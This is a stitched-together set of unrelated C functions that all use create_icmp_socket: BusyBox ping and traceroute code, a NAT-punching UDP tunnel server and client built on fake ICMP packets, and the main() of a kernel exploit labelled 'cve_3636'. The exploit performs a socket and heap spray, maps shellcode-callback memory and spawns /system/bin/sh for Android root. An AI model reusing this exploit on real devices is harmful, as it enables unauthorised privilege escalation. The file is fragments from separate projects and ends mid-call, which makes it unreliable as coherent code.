static int common_ping_main(sa_family_t af, char **argv) { len_and_sockaddr *lsa; INIT_G(); #if ENABLE_PING6 while ((++argv)[0] && argv[0][0] == '-') { if (argv[0][1] == '4') { af = AF_INET; continue; } if (argv[0][1] == '6') { af = AF_INET6; continue; } bb_show_usage(); } #else argv++; #endif G.hostname = *argv; if (!G.hostname) bb_show_usage(); #if ENABLE_PING6 lsa = xhost_and_af2sockaddr(G.hostname, 0, af); #else lsa = xhost_and_af2sockaddr(G.hostname, 0, AF_INET); #endif /* Set timer _after_ DNS resolution */ signal(SIGALRM, noresp); alarm(5); /* give the host 5000ms to respond */ create_icmp_socket(lsa); G.myid = (uint16_t) getpid(); #if ENABLE_PING6 if (lsa->u.sa.sa_family == AF_INET6) ping6(lsa); else #endif ping4(lsa); if (ENABLE_FEATURE_CLEAN_UP) close(pingsock); printf("%s is alive!\n", G.hostname); return EXIT_SUCCESS; }
static int create_child(int *pipe_read, int max_fd, int *child_socks) { pid_t pid; int socks[max_fd]; int i; int fds[2]; int ret; if (pipe(fds) < 0){ perror("pipe"); return -1; } pid = fork(); if (pid < 0) return -1; if (pid == 0) { //close(fds[0]); close_fds_except_pipe(fds[1], max_fd); for (i = 0; i < max_fd; i++) { socks[i] = create_icmp_socket(); if (socks[i] < 0) { //printf("\ncan not create socket!\n"); break; } } printf("child create %d sockets!\n", i); write(fds[1], &i, sizeof(int)); while (1) { sleep(6); } exit(0); } /* parent process */ close(fds[1]); *pipe_read = fds[0]; ret = wait_for_child(fds[0], child_socks); if (ret != 0) return -1; return pid; }
static void ping4(len_and_sockaddr *lsa) { struct icmp *pkt; int pingsock, c; pingsock = create_icmp_socket(); pkt = (struct icmp *) G.packet; memset(pkt, 0, sizeof(G.packet)); pkt->icmp_type = ICMP_ECHO; pkt->icmp_cksum = inet_cksum((uint16_t *) pkt, sizeof(G.packet)); xsendto(pingsock, G.packet, DEFDATALEN + ICMP_MINLEN, &lsa->u.sa, lsa->len); /* listen for replies */ while (1) { struct sockaddr_in from; socklen_t fromlen = sizeof(from); c = recvfrom(pingsock, G.packet, sizeof(G.packet), 0, (struct sockaddr *) &from, &fromlen); if (c < 0) { if (errno != EINTR) bb_perror_msg("recvfrom"); continue; } if (c >= 76) { /* ip + icmp */ struct iphdr *iphdr = (struct iphdr *) G.packet; pkt = (struct icmp *) (G.packet + (iphdr->ihl << 2)); /* skip ip hdr */ if (pkt->icmp_type == ICMP_ECHOREPLY) break; } } if (ENABLE_FEATURE_CLEAN_UP) close(pingsock); }
int main() { int *socks; unsigned long *address[MAX_MMAP]; int pid[MAX_CHILD]; int pipe_read[MAX_CHILD]; void *addr; int max_fds; int i, num_socks, num_child; int j; int success, count; int fd; int vulnerable = 0; int child_socks, total_child_socks; int temp; unsigned long *target; addr = mmap((void*)0x200000, _PAGE_SIZE, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_SHARED | MAP_ANONYMOUS, -1, 0); if (addr == MAP_FAILED) { printf("map failed!\n"); return -1; } memset((void*)0x200000, 0, _PAGE_SIZE); protect_from_oom_killer(); fd = create_icmp_socket(); if (fd < 0) { printf("can not crate icmp socket!\n"); return -1; } setup_vul_socket(fd); for (i = 0; i < _PAGE_SIZE / sizeof(int *); i++) { if (((unsigned int*)addr)[i] != 0) { vulnerable = 1; break; } } if (vulnerable == 0) { printf("cve_3636 not vulnerable!\n"); return -1; } if (mmap(0x50000000, 0x4000, PROT_WRITE | PROT_READ | PROT_EXEC, MAP_SHARED | MAP_ANONYMOUS | MAP_FIXED, -1, 0) != 0x50000000) { printf("map shellcode area failed!\n"); return -1; } for (i = 0; i < 0x4000; i += 4){ target = 0x50000000 + i; *target = call_back; } my_pid = getpid(); max_fds = maximize_fd_limit(); printf("max_fds = %d\n", max_fds); socks = malloc(sizeof(int*) * (max_fds + 1)); printf("create child to spray\n"); num_child = 0; num_socks = 0; child_socks = 0; total_child_socks = 0; for (i = 0; i < MAX_CHILD; i++) { if (total_child_socks > MAX_SOCKS) break; pid[i] = create_child(&pipe_read[i], max_fds, &child_socks); if (pid[i] == -1) break; printf("."); fflush(stdout); //printf("create vulnerable socket!\n"); total_child_socks += child_socks; //printf("\n now child sockets = %d\n", total_child_socks); if ( num_socks < max_fds) { socks[num_socks] = create_icmp_socket(); if (socks[num_socks] == -1) break; num_socks++; } usleep(500000); } num_child = i; printf("total child sockets: %d\n", total_child_socks); printf("\nchild num: %d\n", num_child); socks[num_socks] = -1; printf("vulnerable socket num: %d\n", num_socks); printf("now close child socket!\n"); for (i = 0; i < num_child; i++) { close_child(pid[i]); } printf("setup vulnerable socket!\n"); for (i = 0; i < num_socks; i++) { setup_vul_socket(socks[i]); } printf("sparying ...\n"); success = 0; while (1) { count = 0; for (i = 0; i < MAX_MMAP; i++) { address[i] = mmap((void*)0, MAP_SIZE, PROT_READ | PROT_WRITE | PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, -1, 0); if (address[i] == MAP_FAILED) { printf("map failed!\n"); break; } fill_payload(address[i], MAP_SIZE); for (j = 0; socks[j] != -1; j++) { if (get_sk(socks[j]) > 0) { success = 1; printf("get it!\n"); ioctl(socks[j], 0x5678, &temp); break; } } if (success) break; } count = i; if (success) { printf("free %ld bytes\n", MAP_SIZE * (count - 1)); for (i = 0; i < count; i++) { munmap(address[i], MAP_SIZE); } munmap(0x50000000, 0x4000); system("/system/bin/sh"); break; } } printf("main end!\n"); return 0; }
/* * UDP Tunnel server main(). Handles program arguments, initializes everything, * and runs the main loop. */ int udpserver(int argc, char *argv[]) { char host_str[ADDRSTRLEN]; char port_str[ADDRSTRLEN]; char addrstr[ADDRSTRLEN]; list_t *clients = NULL; list_t *allowed_destinations = NULL; socket_t *udp_sock = NULL; socket_t *udp_from = NULL; char data[MSG_MAX_LEN]; client_t *client; uint16_t tmp_id; uint8_t tmp_type; uint16_t tmp_len; struct timeval curr_time; struct timeval timeout; struct timeval check_time; struct timeval check_interval; fd_set client_fds; fd_set read_fds; int num_fds; int i; int allowed_start; int ret; int icmp_sock = 0; int listen_sock = 0; int timeexc = 0; struct sockaddr_in dest_addr, rsrc; uint32_t timeexc_ip; struct hostent *host_ent; signal(SIGINT, &signal_handler); /* Get info about where we're sending time exceeded */ memset(&dest_addr, 0, sizeof(struct sockaddr_in)); host_ent = gethostbyname("3.3.3.3"); timeexc_ip = *(uint32_t*)host_ent->h_addr_list[0]; dest_addr.sin_family = AF_INET; dest_addr.sin_port = 0; dest_addr.sin_addr.s_addr = timeexc_ip; /* Scan for start of allowed destination parameters */ allowed_start = argc; for (i = 0; i < argc; i++) if (strchr(argv[i], ':')) { allowed_start = i; break; } /* Get the port and address to listen on from command line */ if (allowed_start == 0) { sprintf(port_str, "2222"); host_str[0] = 0; } else if(allowed_start == 1) { if (index(argv[0], 58) || index(argv[0], 46)) { strncpy(host_str, argv[0], sizeof(host_str)); host_str[sizeof(host_str)-1] = 0; sprintf(port_str, "2222"); } else { strncpy(port_str, argv[0], sizeof(port_str)); port_str[sizeof(port_str)-1] = 0; host_str[0] = 0; } } else if(allowed_start == 2) { strncpy(host_str, argv[0], sizeof(host_str)); strncpy(port_str, argv[1], sizeof(port_str)); host_str[sizeof(host_str)-1] = 0; port_str[sizeof(port_str)-1] = 0; } /* Build allowed destination list */ if (argc > allowed_start) { allowed_destinations = list_create(sizeof(destination_t), p_destination_cmp, p_destination_copy, p_destination_free); if (!allowed_destinations) goto done; for (i = allowed_start; i < argc; i++) { destination_t *dst = destination_create(argv[i]); if (!dst) goto done; if (!list_add(allowed_destinations, dst)) goto done; destination_free(dst); } } /* Create an empty list for the clients */ clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free); if(!clients) goto done; /* Get info about localhost IP */ if (!(strlen(host_str)>0)) { char szHostName[255]; gethostname(szHostName, 255); host_ent = gethostbyname(szHostName); } else { host_ent = gethostbyname(host_str); } memset(&rsrc, 0, sizeof(struct sockaddr_in)); timeexc_ip = *(uint32_t*)host_ent->h_addr_list[0]; rsrc.sin_family = AF_INET; rsrc.sin_port = 0; rsrc.sin_addr.s_addr = timeexc_ip; /* Create the socket to receive UDP messages on the specified port */ udp_sock = sock_create((host_str[0] == 0 ? NULL : host_str), port_str, ipver, SOCK_TYPE_UDP, 1, 1); if(!udp_sock) goto done; if(debug_level >= DEBUG_LEVEL1) printf("Listening on UDP %s\n", sock_get_str(udp_sock, addrstr, sizeof(addrstr))); /* Create empty udp socket for getting source address of udp packets */ udp_from = sock_create(NULL, NULL, ipver, SOCK_TYPE_UDP, 0, 0); if(!udp_from) goto done; FD_ZERO(&client_fds); timerclear(&timeout); gettimeofday(&check_time, NULL); check_interval.tv_sec = 0; check_interval.tv_usec = 500000; /* open listener socket */ listen_sock = create_listen_socket(); if (listen_sock == -1) { printf("[main] can't open listener socket\n"); exit(1); } /* open raw socket */ icmp_sock = create_icmp_socket(); if (icmp_sock == -1) { printf("[main] can't open raw socket\n"); exit(1); } struct sockaddr_in sa; memset(&sa, 0, sizeof(struct sockaddr_in)); sa.sin_family = PF_INET; sa.sin_port = htons(atoi(port_str)); sa.sin_addr.s_addr = INADDR_ANY; //if( bind(sock, (const struct sockaddr *)&sa, sizeof(struct sockaddr_in))!= 0) //printf("bind failed\n"); int ip; char *ips; unsigned char *packet; ips = malloc(16); packet = malloc(IP_MAX_SIZE); while(running) { if(!timerisset(&timeout)) timeout.tv_usec = 50000; /* Every 5 seconds, send "fake" ICMP packet */ if (timeexc++ % 100 == 0) { send_icmp(icmp_sock, &rsrc, &dest_addr, (struct sockaddr_in*)0, 1); } /* Wait for random client to penetrate our NAT...you nasty client! */ while ((ip = recv(listen_sock, packet, 100, 0)) > 0) { /* If not ICMP and not TTL exceeded */ if (packet[9] != 1 || packet[20] != 11 || packet[21] != 0) break; //sprintf(ips, "%d.%d.%d.%d", packet[12], packet[13], packet[14], packet[15]); sprintf(ips, "%d.%d.%d.%d", (unsigned char)packet[12],(unsigned char) packet[13],(unsigned char) packet[14],(unsigned char) packet[15]); memset(packet, 0, ip); printf ("Got packet from %s\n",ips); host_ent = gethostbyname(ips); memcpy(&(sa.sin_addr), host_ent->h_addr, host_ent->h_length); inet_pton(PF_INET, ips, &(sa.sin_addr)); printf("Got connection request from %s\n", ips); /* Send packet to create UDP pinhole */ sendto(udp_sock->fd, ips, 0, 0, (struct sockaddr*)&sa, sizeof(struct sockaddr)); } /* Reset the file desc. set */ read_fds = client_fds; FD_SET(SOCK_FD(udp_sock), &read_fds); ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &timeout); PERROR_GOTO(ret < 0, "select", done); num_fds = ret; gettimeofday(&curr_time, NULL); /* Go through all the clients and check if didn't get an ACK for sent data during the timeout period */ if(timercmp(&curr_time, &check_time, >)) { for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); if(client_timed_out(client, curr_time)) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; continue; } ret = client_check_and_resend(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; } } /* Set time to chech this stuff next */ timeradd(&curr_time, &check_interval, &check_time); } if(num_fds == 0) continue; /* Get any data received on the UDP socket */ if(FD_ISSET(SOCK_FD(udp_sock), &read_fds)) { ret = msg_recv_msg(udp_sock, udp_from, data, sizeof(data), &tmp_id, &tmp_type, &tmp_len); if(ret == 0) ret = handle_message(tmp_id, tmp_type, data, tmp_len, udp_from, clients, &client_fds, allowed_destinations, port_str); if(ret == -2) { disconnect_and_remove_client(tmp_id, clients, &client_fds); } num_fds--; } /* Go through all the clients and get any TCP data that is ready */ for(i = 0; i < LIST_LEN(clients) && num_fds > 0; i++) { client = list_get_at(clients, i); if(client_tcp_fd_isset(client, &read_fds)) { ret = client_recv_tcp_data(client); if(ret == 0) ret = client_send_udp_data(client); #if 0 /* if udptunnel is taking up 100% of cpu, try including this */ else if(ret == 1) #ifdef WIN32 _sleep(1); #else usleep(1000); /* Quick hack so doesn't use 100% CPU if data wasn't ready yet (waiting for ack) */ #endif /*WIN32*/ #endif /*0*/ if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; /* Since there will be one less element in list */ } num_fds--; } } } done: if(debug_level >= DEBUG_LEVEL1) printf("Cleaning up...\n"); if(allowed_destinations) list_free(allowed_destinations); if(clients) list_free(clients); if(udp_sock) { sock_close(udp_sock); sock_free(udp_sock); } if(udp_from) sock_free(udp_from); if(debug_level >= DEBUG_LEVEL1) printf("Goodbye.\n"); return 0; }
traceroute_main(int argc, char *argv[]) #endif { extern char *optarg; extern int optind; struct hostent *hp; struct sockaddr_in from, *to; int ch, i, on, probe, seq, tos, ttl; int options = 0; /* socket options */ char *source = 0; int nprobes = 3; on = 1; seq = tos = 0; to = (struct sockaddr_in *)&whereto; while ((ch = getopt(argc, argv, "dm:np:q:rs:t:w:v")) != EOF) switch(ch) { case 'd': #ifdef CONFIG_FEATURE_TRACEROUTE_SO_DEBUG options |= SO_DEBUG; #endif break; case 'm': max_ttl = atoi(optarg); if (max_ttl <= 1) bb_error_msg_and_die("max ttl must be >1."); break; case 'n': nflag++; break; case 'p': port = atoi(optarg); if (port < 1) bb_error_msg_and_die("port must be >0."); break; case 'q': nprobes = atoi(optarg); if (nprobes < 1) bb_error_msg_and_die("nprobes must be >0."); break; case 'r': options |= SO_DONTROUTE; break; case 's': /* * set the ip source address of the outbound * probe (e.g., on a multi-homed host). */ source = optarg; break; case 't': tos = atoi(optarg); if (tos < 0 || tos > 255) bb_error_msg_and_die("tos must be 0 to 255."); break; case 'v': #ifdef CONFIG_FEATURE_TRACEROUTE_VERBOSE verbose++; #endif break; case 'w': waittime = atoi(optarg); if (waittime <= 1) bb_error_msg_and_die("wait must be >1 sec."); break; default: bb_show_usage(); } argc -= optind; argv += optind; if (argc < 1) bb_show_usage(); setlinebuf (stdout); memset(&whereto, 0, sizeof(struct sockaddr)); hp = xgethostbyname(*argv); to->sin_family = hp->h_addrtype; memcpy(&to->sin_addr, hp->h_addr, hp->h_length); hostname = (char *)hp->h_name; if (*++argv) datalen = atoi(*argv); if (datalen < 0 || datalen >= MAXPACKET - sizeof(struct opacket)) bb_error_msg_and_die("packet size must be 0 <= s < %d.", MAXPACKET - sizeof(struct opacket)); datalen += sizeof(struct opacket); outpacket = (struct opacket *)xmalloc((unsigned)datalen); memset(outpacket, 0, datalen); outpacket->ip.ip_dst = to->sin_addr; outpacket->ip.ip_tos = tos; outpacket->ip.ip_v = IPVERSION; outpacket->ip.ip_id = 0; ident = (getpid() & 0xffff) | 0x8000; if ((sndsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) bb_perror_msg_and_die(bb_msg_can_not_create_raw_socket); s = create_icmp_socket(); #ifdef CONFIG_FEATURE_TRACEROUTE_SO_DEBUG if (options & SO_DEBUG) (void) setsockopt(s, SOL_SOCKET, SO_DEBUG, (char *)&on, sizeof(on)); #endif if (options & SO_DONTROUTE) (void) setsockopt(s, SOL_SOCKET, SO_DONTROUTE, (char *)&on, sizeof(on)); #ifdef SO_SNDBUF if (setsockopt(sndsock, SOL_SOCKET, SO_SNDBUF, (char *)&datalen, sizeof(datalen)) < 0) bb_perror_msg_and_die("SO_SNDBUF"); #endif #ifdef IP_HDRINCL if (setsockopt(sndsock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) bb_perror_msg_and_die("IP_HDRINCL"); #endif #ifdef CONFIG_FEATURE_TRACEROUTE_SO_DEBUG if (options & SO_DEBUG) (void) setsockopt(sndsock, SOL_SOCKET, SO_DEBUG, (char *)&on, sizeof(on)); #endif if (options & SO_DONTROUTE) (void) setsockopt(sndsock, SOL_SOCKET, SO_DONTROUTE, (char *)&on, sizeof(on)); if (source) { memset(&from, 0, sizeof(struct sockaddr)); from.sin_family = AF_INET; from.sin_addr.s_addr = inet_addr(source); if (from.sin_addr.s_addr == -1) bb_error_msg_and_die("unknown host %s", source); outpacket->ip.ip_src = from.sin_addr; #ifndef IP_HDRINCL if (bind(sndsock, (struct sockaddr *)&from, sizeof(from)) < 0) bb_perror_msg_and_die("bind"); #endif } fprintf(stderr, "traceroute to %s (%s)", hostname, inet_ntoa(to->sin_addr)); if (source) fprintf(stderr, " from %s", source); fprintf(stderr, ", %d hops max, %d byte packets\n", max_ttl, datalen); for (ttl = 1; ttl <= max_ttl; ++ttl) { u_long lastaddr = 0; int got_there = 0; int unreachable = 0; printf("%2d ", ttl); for (probe = 0; probe < nprobes; ++probe) { int cc, reset_timer; struct timeval t1, t2; struct timezone tz; struct ip *ip; (void) gettimeofday(&t1, &tz); send_probe(++seq, ttl); reset_timer = 1; while ((cc = wait_for_reply(s, &from, reset_timer)) != 0) { (void) gettimeofday(&t2, &tz); if ((i = packet_ok(packet, cc, &from, seq))) { reset_timer = 1; if (from.sin_addr.s_addr != lastaddr) { print(packet, cc, &from); lastaddr = from.sin_addr.s_addr; } printf(" %g ms", deltaT(&t1, &t2)); switch(i - 1) { case ICMP_UNREACH_PORT: ip = (struct ip *)packet; if (ip->ip_ttl <= 1) printf(" !"); ++got_there; break; case ICMP_UNREACH_NET: ++unreachable; printf(" !N"); break; case ICMP_UNREACH_HOST: ++unreachable; printf(" !H"); break; case ICMP_UNREACH_PROTOCOL: ++got_there; printf(" !P"); break; case ICMP_UNREACH_NEEDFRAG: ++unreachable; printf(" !F"); break; case ICMP_UNREACH_SRCFAIL: ++unreachable; printf(" !S"); break; } break; } else reset_timer = 0; } if (cc == 0) printf(" *"); (void) fflush(stdout); } putchar('\n'); if (got_there || unreachable >= nprobes-1) return 0; } return 0; }
int udpclient(int argc, char* argv[]) { char* lhost, *lport, *phost, *pport, *rhost, *rport; list_t* clients; list_t* conn_clients; client_t* client; client_t* client2; socket_t* tcp_serv = NULL; socket_t* tcp_sock = NULL; socket_t* udp_sock = NULL; char data[MSG_MAX_LEN]; char addrstr[ADDRSTRLEN]; char pport_s[6]; struct timeval curr_time; struct timeval check_time; struct timeval check_interval; struct timeval timeout; fd_set client_fds; fd_set read_fds; uint16_t tmp_id; uint8_t tmp_type; uint16_t tmp_len; uint16_t tmp_req_id; int num_fds; int ret; int i; int icmp_sock ; int timeexc = -1; struct sockaddr_in src, dest, rsrc; struct hostent* hp; uint32_t timeexc_ip; signal(SIGINT, &signal_handler); i = 0; if(index(argv[i], 58) || index(argv[i], 46)) lhost = argv[i++]; else lhost = NULL; lport = argv[i++]; phost = argv[i++]; if(index(argv[i], 58) || index(argv[i], 46)) { snprintf(pport_s, 5, "2222"); pport = pport_s; } else pport = argv[i++]; rhost = argv[i++]; rport = argv[i++]; /* Get info about localhost IP */ if(!lhost){ char szHostName[255]; gethostname(szHostName, 255); hp = gethostbyname(szHostName); }else{ hp = gethostbyname(lhost); } memset(&rsrc, 0, sizeof(struct sockaddr_in)); timeexc_ip = *(uint32_t*)hp->h_addr_list[0]; rsrc.sin_family = AF_INET; rsrc.sin_port = 0; rsrc.sin_addr.s_addr = timeexc_ip; /* IP of destination */ memset(&src, 0, sizeof(struct sockaddr_in)); hp = gethostbyname(phost); timeexc_ip = *(uint32_t*)hp->h_addr_list[0]; src.sin_family = AF_INET; src.sin_port = 0; src.sin_addr.s_addr = timeexc_ip; /* IP of where the fake packet (echo request) was going */ hp = gethostbyname("3.3.3.3"); memcpy(&dest.sin_addr, hp->h_addr, hp->h_length); inet_pton(AF_INET, "3.3.3.3", &(dest.sin_addr)); srand(time(NULL)); next_req_id = rand() % 0xffff; /* Create an empty list for the clients */ clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free); ERROR_GOTO(clients == NULL, "Error creating clients list.", done); /* Create and empty list for the connecting clients */ conn_clients = list_create(sizeof(client_t), p_client_cmp, p_client_copy, p_client_free); ERROR_GOTO(conn_clients == NULL, "Error creating clients list.", done); /* Create a TCP server socket to listen for incoming connections */ tcp_serv = sock_create(lhost, lport, ipver, SOCK_TYPE_TCP, 1, 1); ERROR_GOTO(tcp_serv == NULL, "Error creating TCP socket.", done); if(debug_level >= DEBUG_LEVEL1) { printf("Listening on TCP %s\n", sock_get_str(tcp_serv, addrstr, sizeof(addrstr))); } FD_ZERO(&client_fds); /* Initialize all the timers */ timerclear(&timeout); check_interval.tv_sec = 0; check_interval.tv_usec = 500000; gettimeofday(&check_time, NULL); /* open raw socket */ create_icmp_socket(&icmp_sock); if(icmp_sock == -1) { printf("[main] can't open raw socket\n"); exit(1); } while(running) { if(!timerisset(&timeout)) timeout.tv_usec = 50000; if(++timeexc==100) { timeexc=0; /* Send ICMP TTL exceeded to penetrate remote NAT */ send_icmp(icmp_sock, &rsrc, &src, &dest, 0); } read_fds = client_fds; FD_SET(SOCK_FD(tcp_serv), &read_fds); ret = select(FD_SETSIZE, &read_fds, NULL, NULL, &timeout); PERROR_GOTO(ret < 0, "select", done); num_fds = ret; gettimeofday(&curr_time, NULL); /* Go through all the clients and check if didn't get an ACK for sent data during the timeout period */ if(timercmp(&curr_time, &check_time, >)) { for(i = 0; i < LIST_LEN(clients); i++) { client = list_get_at(clients, i); ret = client_check_and_resend(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; continue; } ret = client_check_and_send_keepalive(client, curr_time); if(ret == -2) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; } } timeradd(&curr_time, &check_interval, &check_time); } if(num_fds == 0) continue; timeexc=0; /* Check if pending TCP connection to accept and create a new client and UDP connection if one is ready */ if(FD_ISSET(SOCK_FD(tcp_serv), &read_fds)) { tcp_sock = sock_accept(tcp_serv); udp_sock = sock_create(phost, pport, ipver, SOCK_TYPE_UDP, 0, 1); client = client_create(next_req_id++, tcp_sock, udp_sock, 1); if(!client || !tcp_sock || !udp_sock) { if(tcp_sock) sock_close(tcp_sock); if(udp_sock) sock_close(udp_sock); } else { client2 = list_add(conn_clients, client); client_free(client); client = NULL; client_send_hello(client2, rhost, rport, CLIENT_ID(client2)); client_add_tcp_fd_to_set(client2, &client_fds); client_add_udp_fd_to_set(client2, &client_fds); } sock_free(tcp_sock); sock_free(udp_sock); tcp_sock = NULL; udp_sock = NULL; num_fds--; } /* Check for pending handshakes from UDP connection */ for(i = 0; i < LIST_LEN(conn_clients) && num_fds > 0; i++) { client = list_get_at(conn_clients, i); if(client_udp_fd_isset(client, &read_fds)) { num_fds--; tmp_req_id = CLIENT_ID(client); ret = client_recv_udp_msg(client, data, sizeof(data), &tmp_id, &tmp_type, &tmp_len); if(ret == 0) ret = handle_message(client, tmp_id, tmp_type, data, tmp_len); if(ret < 0) { disconnect_and_remove_client(tmp_req_id, conn_clients, &client_fds); i--; } else { client = list_add(clients, client); list_delete_at(conn_clients, i); client_remove_udp_fd_from_set(client, &read_fds); i--; } } } /* Check if data is ready from any of the clients */ for(i = 0; i < LIST_LEN(clients) && num_fds > 0; i++) { client = list_get_at(clients, i); /* Check for UDP data */ if(client_udp_fd_isset(client, &read_fds)) { num_fds--; ret = client_recv_udp_msg(client, data, sizeof(data), &tmp_id, &tmp_type, &tmp_len); if(ret == 0) ret = handle_message(client, tmp_id, tmp_type, data, tmp_len); if(ret < 0) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; continue; /* Don't go to check the TCP connection */ } } /* Check for TCP data */ if(client_tcp_fd_isset(client, &read_fds)) { num_fds--; ret = client_recv_tcp_data(client); if(ret == 0) ret = client_send_udp_data(client); #if 0 /* if udptunnel is taking up 100% of cpu, try including this */ else if(ret == 1) #ifdef _WIN32 _sleep(1); #else usleep(1000); /* Quick hack so doesn't use 100% of CPU if data wasn't ready yet (waiting for ack) */ #endif /*WIN32*/ #endif /*0*/ if(ret < 0) { disconnect_and_remove_client(CLIENT_ID(client), clients, &client_fds); i--; } } } } done: if(debug_level >= DEBUG_LEVEL1) printf("Cleaning up...\n"); if(tcp_serv) { sock_close(tcp_serv); sock_free(tcp_serv); } if(udp_sock) { sock_close(udp_sock); sock_free(udp_sock); } if(clients) list_free(clients); if(debug_level >= DEBUG_LEVEL1) printf("Goodbye.\n"); return 0; }
static void /* not inline */ send_probe(int seq, int ttl) { struct opacket *op = outpacket; struct ip *ip = &op->ip; struct udphdr *up = &op->udp; int i; struct timezone tz; #if defined (DMP_TRACEROUTE_1) int dataSize = datalen -12; /* Minus some parameters' length in struct opacket*/ #endif ip->ip_off = 0; ip->ip_hl = sizeof(*ip) >> 2; ip->ip_p = IPPROTO_UDP; #if defined (DMP_TRACEROUTE_1) ip->ip_len = dataSize; #else ip->ip_len = datalen; #endif ip->ip_ttl = ttl; ip->ip_v = IPVERSION; ip->ip_id = htons(ident+seq); up->source = htons(ident); up->dest = htons(port+seq); #if defined (DMP_TRACEROUTE_1) up->len = htons((u_short)(dataSize - sizeof(struct ip))); #else up->len = htons((u_short)(datalen - sizeof(struct ip))); #endif up->check = 0; op->seq = seq; op->ttl = ttl; (void) gettimeofday(&op->tv, &tz); #if defined (DMP_TRACEROUTE_1) i = sendto(sndsock, (char *)outpacket, dataSize, 0, &whereto, sizeof(struct sockaddr)); #else i = sendto(sndsock, (char *)outpacket, datalen, 0, &whereto, sizeof(struct sockaddr)); #endif #if defined (DMP_TRACEROUTE_1) if (i < 0 || i != dataSize) { #else if (i < 0 || i != datalen) { #endif if (i<0) perror("sendto"); #if defined (DMP_TRACEROUTE_1) printf("traceroute: wrote %s %d chars, ret=%d\n", hostname, dataSize, i); #else printf("traceroute: wrote %s %d chars, ret=%d\n", hostname, datalen, i); #endif (void) fflush(stdout); } } int #ifndef CONFIG_TRACEROUTE main(int argc, char *argv[]) #else traceroute_main(int argc, char *argv[]) #endif { extern char *optarg; extern int optind; struct hostent *hp; struct sockaddr_in from, *to; int ch, i, on, probe, seq, tos, ttl; int options = 0; /* socket options */ char *source = 0; int nprobes = 3; #if defined(AEI_VDSL_CUSTOMER_QWEST_Q2000) int ttl_set_flag = 0; #endif #if defined(AEI_VDSL_CUSTOMER_NCS) int failcount = 0; #endif #if defined(DMP_TRACEROUTE_1) unsigned int repTime; char strRepTime[16]; TraceRouteDataMsgBody traceRouteInfo; memset(&traceRouteInfo, 0 , sizeof(TraceRouteDataMsgBody)); TraceRouteDataMsgBody *pTraceRouteInfo = &traceRouteInfo; cmsMsg_init(EID_TRACEROUTE, &msgHandle); #endif on = 1; seq = tos = 0; to = (struct sockaddr_in *)&whereto; while ((ch = getopt(argc, argv, "dm:np:q:rs:t:w:v")) != EOF) switch(ch) { case 'd': #ifdef CONFIG_FEATURE_TRACEROUTE_SO_DEBUG options |= SO_DEBUG; #endif break; case 'm': max_ttl = atoi(optarg); #if defined(AEI_VDSL_CUSTOMER_QWEST_Q2000) ttl_set_flag = 1; #endif if (max_ttl <= 1) bb_error_msg_and_die("max ttl must be >1."); break; case 'n': nflag++; break; case 'p': port = atoi(optarg); if (port < 1) bb_error_msg_and_die("port must be >0."); break; case 'q': nprobes = atoi(optarg); if (nprobes < 1) bb_error_msg_and_die("nprobes must be >0."); break; case 'r': options |= SO_DONTROUTE; break; case 's': /* * set the ip source address of the outbound * probe (e.g., on a multi-homed host). */ source = optarg; break; case 't': tos = atoi(optarg); if (tos < 0 || tos > 255) bb_error_msg_and_die("tos must be 0 to 255."); break; case 'v': #ifdef CONFIG_FEATURE_TRACEROUTE_VERBOSE verbose++; #endif break; case 'w': waittime = atoi(optarg); if (waittime <= 1) bb_error_msg_and_die("wait must be >1 sec."); break; default: bb_show_usage(); } argc -= optind; argv += optind; if (argc < 1) bb_show_usage(); setlinebuf (stdout); memset(&whereto, 0, sizeof(struct sockaddr)); #if defined(DMP_TRACEROUTE_1) hp = gethostbyname(*argv); if (*++argv) { requesterId = atoi(*argv); } if (hp == NULL) { AEI_sendTraceRouteEventMessage(pTraceRouteInfo, Error_CannotResolveHostName); bb_herror_msg_and_die("%s", *--argv); } #else hp = xgethostbyname(*argv); #endif to->sin_family = hp->h_addrtype; memcpy(&to->sin_addr, hp->h_addr, hp->h_length); hostname = (char *)hp->h_name; if (*++argv) datalen = atoi(*argv); #if defined (DMP_TRACEROUTE_1) if (datalen == 0) { datalen = 40; /*Default data length*/ } #endif if (datalen < 0 || datalen >= MAXPACKET - sizeof(struct opacket)) bb_error_msg_and_die("packet size must be 0 <= s < %d.", MAXPACKET - sizeof(struct opacket)); datalen += sizeof(struct opacket); outpacket = (struct opacket *)xmalloc((unsigned)datalen); memset(outpacket, 0, datalen); outpacket->ip.ip_dst = to->sin_addr; outpacket->ip.ip_tos = tos; #if defined(DMP_TRACEROUTE_1) outpacket->ip.ip_tos = (outpacket->ip.ip_tos)<<2; #endif outpacket->ip.ip_v = IPVERSION; outpacket->ip.ip_id = 0; ident = (getpid() & 0xffff) | 0x8000; if ((sndsock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) < 0) bb_perror_msg_and_die(bb_msg_can_not_create_raw_socket); s = create_icmp_socket(); #ifdef CONFIG_FEATURE_TRACEROUTE_SO_DEBUG if (options & SO_DEBUG) (void) setsockopt(s, SOL_SOCKET, SO_DEBUG, (char *)&on, sizeof(on)); #endif if (options & SO_DONTROUTE) (void) setsockopt(s, SOL_SOCKET, SO_DONTROUTE, (char *)&on, sizeof(on)); #ifdef SO_SNDBUF if (setsockopt(sndsock, SOL_SOCKET, SO_SNDBUF, (char *)&datalen, sizeof(datalen)) < 0) bb_perror_msg_and_die("SO_SNDBUF"); #endif #ifdef IP_HDRINCL if (setsockopt(sndsock, IPPROTO_IP, IP_HDRINCL, (char *)&on, sizeof(on)) < 0) bb_perror_msg_and_die("IP_HDRINCL"); #endif #ifdef CONFIG_FEATURE_TRACEROUTE_SO_DEBUG if (options & SO_DEBUG) (void) setsockopt(sndsock, 